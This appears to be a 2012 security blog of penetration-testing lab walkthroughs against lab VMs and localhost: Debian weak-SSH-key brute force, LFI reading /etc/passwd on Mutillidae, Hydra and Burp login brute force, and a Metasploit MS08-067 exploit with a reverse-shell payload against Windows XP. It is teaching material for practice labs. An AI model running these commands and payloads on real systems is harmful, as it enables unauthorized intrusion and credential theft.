    OpenSSL remote DoS                                                          /linux/dos/12334.c
    OpenSSL ASN1 BIO Memory Corruption Vulnerability                            /multiple/dos/18756.txt
    OpenSSL ASN1 BIO Memory Corruption Vulnerability                            /multiple/dos/18756.txt
    PHP 6.0 openssl_verify() Local Buffer Overflow PoC                          /windows/dos/19963.txt
    
    Before running the exploit, we need ssh rsa keys for debian open ssl.
    Please download here http://digitaloffense.net/tools/debian-openssl/debian_ssh_rsa_2048_x86.tar.bz2.
    Extract the ssh rsa, now time for run the exploit.
    root@bt# ruby /pentest/exploits/exploitdb/platforms/multiple/remote/5632.rb 192.168.56.101 vmware /home/biasa/viz/rsa/2048
    testing key 2/32768 /home/biasa/viz/rsa/2048/e04baf9d04ca7cd565d71880de75c58e-29931...
    testing key 3/32768 /home/biasa/viz/rsa/2048/2411614d9fe125cbb7f5b8f13fa1c0a0-18050...
    .......cut.......
    testing key 21377/32768 /home/biasa/viz/rsa/2048/70f4f5c0201d70a8e765bdc4a492d1da-15597...
    testing key 21378/32768 /home/biasa/viz/rsa/2048/f0d557e76c4e6380d81d49262dd7cb63-27526...
    KEYFILE FOUND: 
    /home/biasa/viz/rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566
    Gotcha, we got the rsa key. Try the ssh rsa, but make sure that the permission is 755.
  5.  Privillege Escalation 
    Lets connecting using ssh

    root@bt:/pentest/exploits/exploitdb# ssh -i /home/biasa/viz/rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566 vmware@192.168.56.101
    Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686
    
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    Last login: Thu Sep 13 10:31:22 2012 from 192.168.56.1
    vmware@ubuntuvm:~$ 
    Ok we got the access.

Thursday, 13 September 2012

Installing DVWA on Backtrack 5

Posted by at 12:03
What is DVWA?

Damn Vulnerability Web Application (DVWA) is a Vulnerable Wep Application, designed for pentetration labs. Please note that not recommended to install it on your hosting.


  1. Download DVWA here
  2. Extract into local web server root (var/www)
    root@hatikamu# unzip DVWA-1.0.7.zip -d /var/www/
  3. Set permission of DVWA into 755
    root@hatikamu# chmod -R 755 /var/www/dvwa
  4. Edit database configuration for database connection with text editor
    root@hatikamu# kate /var/www/dvwa/config/config.inc.php
  5. Run MySQL, Start menu->Backtrack->Service->MySQL->Start Mysql
  6. Run Apache, Star menu->Backtrack->Service->HTTPD->Start HTTPD
  7. Create database for DVWA
    root@hatikamu# mysql -u root -p
    Welcome to MySQL
    mysql> create database dvwa;
    mysql> exit
  8. Now run your dvwa from your favorit browser, http://127.0.0.1/dvwa
  9. Done

Wednesday, 12 September 2012

Brute Force and LFI on Mutillidae

Posted by at 23:05
After installing Mutillidae, now I will try to attact it using Brute Force and LFI method.

LFI (Local File Inclusion)

  1. Open mutillidae from browser, you will see url bellow:
    http://localhost/mutillidae/index.php?page=home.php
  2. The uri above "?page=home.php" indicate that this application try to read some file in local server. We can try to read other file in system, for example /etc/passwd
    http://localhost/mutillidae/index.php?page=../../../../../../etc/passwd
  3. Wow, can you see that

Brute Force
  1. Run your Hydra within this command:
    Usage
    hydra -> the progam name
    -l -> the username
    -P -> the wordlists
    127.0.0.1 -> your target host, it can be change using domain
    http-post-form -> the service module
    "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"

    /mutillidae/index.php?page=login.php -> path application
    username -> input form
    password -> input form
    login-php-submit-button -> input form at submit button
    Not Logged In -> error message when the application failed to log in
  2. Run this command
    hydra -l admin -P pass.txt 127.0.0.1 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"
  3. Ok, the password found

    Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
    
    Hydra (http://www.thc.org/thc-hydra) starting at 2012-09-15 12:51:15
    [DATA] 8 tasks, 1 server, 8 login tries (l:1/p:8), ~1 try per task
    [DATA] attacking service http-post-form on port 80
    [80][www-form] host: 127.0.0.1   login: admin   password: adminpass
    [STATUS] attack finished for 127.0.0.1 (waiting for children to finish)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2012-09-15 12:51:16
  4. "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"
    Please note that you must be carefull when giving error report for hydra, If you giving it wrong you never get the password although the correct password available in your wordlist. 

     By the way, I will try to attack brute force using Burp Suite.
    1. We need to configure network of our browser, in this case I assuming using firefox.
    2. Clik Edit->Preferences->Select Advanced Tab->Select Network->Setting.
      Host : 127.0.0.1
      Port : 8080
    3. Open Burp Suite, Start menu->Backtrack->Vulnerability Assesment->Web Vulnerabilty Assesment->Web Application Proxies->Burp Suite
    4. Goto Proxy tab->Intercept tab and make sure that "intercept" is on
    5. Go back into Firefox, open login page of Mutillidae
    6. http://localhost/mutillidae/index.php?page=login.php
    7. You will see the Burp Suite blinking at the taskbar
    8. Go to Burp Suite window
    9. Click forward button
    10. Goto Mutillidae login page and fill username and password random (test only)
      for example I'm using user:pass and then click login. You will see burp suite blinking. Go back into burp suite window.
    11. Click right on the raw column and select "send to intruder"
    12. Go to Intruder tab,
      Block some text and click clear
      Select "Culster Bomb" for attack type


    13. Still on Intruder tab, select Payload tab
      Select "1" at payload type, and add a username (you can add more than one username)
      Select "2" at payload set, and add lists of random password
    14. Go to Burp Suite menu, select Intruder->Start Attack, and wait for brute force.
      If username and password cracked, you will see the result look like this...

Install Mutillidae the Vulnerable Web App testing

Posted by at 11:51
What is Mutillidae?
Mutillidae is a Vulnerable Web Application for penetration testing lab. If you want to learn about web security, I recommended to install this Application for build some pentest labs.


  1. Download Mutillidae here
  2. Extrack into web server directory (/var/www/)
    root@hatikamu# unzip LATEST-mutillidae-2.3.5.zip -d /var/www/
  3. Set permission of Mutillidae folder
    chmod -R 755 mutillidae
  4. Edit database configuration for database connection with text editor
    root@hatikamu# kate /var/www/mutillidae/classes/MySQLHandler.php
  5. Run MySQL, Start menu->Backtrack->Service->MySQL->Start Mysql
  6. Run Apache, Star menu->Backtrack->Service->HTTPD->Start HTTPD
  7. Create database for Mutillidae
    root@hatikamu# mysql -u root -p
    Welcome to MySQL
    mysql> create database owasp10;
    mysql> exit
  8. Open http://127.0.0.1/mutillidae from your firefox browser
  9. Follow the instruction for setup database installation
  10. Done, enjoy.

Monday, 10 September 2012

Exploitation Windows XP using Metasploit via SMB Service

Posted by at 19:28
What is Metasploit ?
Metasploit Framework is the best and most advanced exploitation toolkits. Metasploit was developed in Ruby programming language and supports the modularization such that it makes it easier for the penetration tester with optimum programming skills to extend or develop custom plugins and tools.The interface of Metasploit provided CLI, Console, GUI.
How to do that?
  1. Infromation Gatheringy
    We need to collect information of target, for example Windows XP SP3. I will scan target using Nmap.
    Scanning life host
    root@bt# nmap -v -sn 172.16.227.1/24
    result:
    Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-11 21:27 WIT
    Initiating ARP Ping Scan at 21:27
    Scanning 172.16.227.0 [1 port]
    Completed ARP Ping Scan at 21:27, 0.44s elapsed (1 total hosts)
    Nmap scan report for 172.16.227.0 [host down]
    Initiating Parallel DNS resolution of 1 host. at 21:27
    Completed Parallel DNS resolution of 1 host. at 21:27, 0.51s elapsed
    Nmap scan report for 172.16.227.1
    Host is up.
    Initiating ARP Ping Scan at 21:27
    Scanning 254 hosts [1 port/host]
    Completed ARP Ping Scan at 21:27, 5.46s elapsed (254 total hosts)
    Initiating Parallel DNS resolution of 254 hosts. at 21:27
    Completed Parallel DNS resolution of 254 hosts. at 21:27, 0.27s elapsed
    Nmap scan report for 172.16.227.2 [host down]
    Nmap scan report for 172.16.227.3 [host down]
    Nmap scan report for 172.16.227.4 [host down]
    Nmap scan report for 172.16.227.5 [host down]
    .......
    Nmap scan report for 172.16.227.127 [host down]
    Nmap scan report for 172.16.227.128
    Host is up (0.0037s latency).
    MAC Address: 00:50:56:3C:FE:7E (VMware)
    Nmap scan report for 172.16.227.129 [host down]
    Host is up (0.00014s latency).
    MAC Address: 00:50:56:F9:40:9A (VMware)
    Nmap scan report for 172.16.227.255 [host down]
    Read data files from: /usr/local/bin/../share/nmap
    Nmap done: 256 IP addresses (3 hosts up) scanned in 6.90 seconds
               Raw packets sent: 508 (14.224KB) | Rcvd: 2 (56B)

    Scanning information of host
    root@bt# nmap -sS -A 172.16.227.128
    result:
    Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-11 22:43 WIT
    Nmap scan report for 172.16.227.128
    Host is up (0.00098s latency).
    Not shown: 996 closed ports
    PORT     STATE SERVICE         VERSION
    135/tcp  open  msrpc           Microsoft Windows RPC
    139/tcp  open  netbios-ssn
    445/tcp  open  microsoft-ds    Microsoft Windows XP microsoft-ds
    1111/tcp open  lmsocialserver?
    MAC Address: 00:50:56:3C:FE:7E (VMware)
    Device type: general purpose
    Running: Microsoft Windows 2000|XP|2003
    OS CPE: cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::- cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
    OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows Server 2003 SP0 - SP2
    Network Distance: 1 hop
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    |_nbstat: NetBIOS name: FATEH-100, NetBIOS user: , NetBIOS MAC: 00:50:56:3c:fe:7e (VMware)
    |_smbv2-enabled: Server doesn't support SMBv2 protocol
    | smb-os-discovery: 
    |   OS: Windows XP (Windows 2000 LAN Manager)
    |   Computer name: fateh-100
    |   NetBIOS computer name: FATEH-100
    |   Workgroup: FATEHNET
    |_  System time: 2012-09-11 22:43:55 UTC+7
    
    TRACEROUTE
    HOP RTT     ADDRESS
    1   0.98 ms 172.16.227.128
    
  2. Service Enumeration
    result from Information Gathering:
    135/tcp open  msrpc
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds
  3. Vulnerabillity Assesment
    now, I will use Nessus for VA.
    Run Nessus service
    root@bt# /etc/init.d/nessusd start
    Open address http://bt:8834
    Goto "scan" menu




    Add Scan, fill the target

    Result,

    Now we can see that port 445 is used for SMB service, then we need search for SMB Server exploit.
  4. Exploitation
    Open Metasploit, run using this command
    root@bt# msfconsole
    Search smb exploit using smb keyword,
    search smb
    use the exploit of smb
    use exploit/windows/smb/ms08_067_netapi
    show options
    et your IP target address into RHOST
    set RHOST 172.16.227.128
    show payloads
    then set the payload
    set PAYLOAD windows/shell/reverse_tcp_allports
    now set our IP into LHOST
    set LHOST 172.16.227.1
    finally, run the exploit command
    exploit


©2012 SECURITY is powered by Blogger - Template designed by Stramaxon - Best SEO Template